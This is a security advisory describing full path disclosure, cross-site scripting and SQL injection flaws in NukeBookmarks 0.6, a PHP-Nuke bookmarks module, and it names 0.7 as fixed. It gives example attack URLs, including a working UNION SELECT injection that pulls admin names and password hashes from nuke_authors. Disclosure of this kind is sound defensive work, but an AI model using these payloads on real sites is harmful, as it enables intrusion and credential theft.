Multiple Vulnerabilities in NukeBookmarks (Full path disclosure, Cross
Site Scripting, SQL Injection)
------------------------------------------------------------------------
SUMMARY
" <http://nukebookmarks.sourceforge.net/> Nuke Bookmarks is a module for
PHP-Nuke that allows users to store their own personal bookmarks on the
server, much like Yahoo Bookmarks."
Full path disclosure, Cross Site Scripting and SQL Injection
vulnerabilities discovered in NukeBookmarks, compromising th system.
DETAILS
Vulnerable Systems:
* NukeBookmarks Version .6
Immune Systems:
* NukeBookmarks Version .7
Full Path Disclosure Vulnerability:
It's possible to retrieve the full installation path of NukeBookmarks. In
marks.php, some database queries can be manipulated by the user. If the
resulting SQL query is illegal, the functions that runs that query will
return an SQL error, revealing full installation path.
Examples:
http://example.com/modules.php?name=Bookmarks&file=marks
http://example.com/modules.php?name=Bookmarks&file=marks&category=1\'
Cross Site Scripting Vulnerability:
Almost all of the input variables supplied by the user aren't checked and
filtered properly. It's possible to inject malicious javascript code into
the page and perform a cross site scripting attack.
Examples:
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_cat&catname=[code]
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_mark&markname=[code]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catname=[code]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[code]
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=[code]
http://www.nukesite.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[code]
SQL Injection:
It's possible to get any content and manipulate the database by exploiting
a SQL Injection vulnerability in marks.php
Example:
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1
&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors
This example will get the list of PHPNuke authors and the relative hashes
of the passwords.
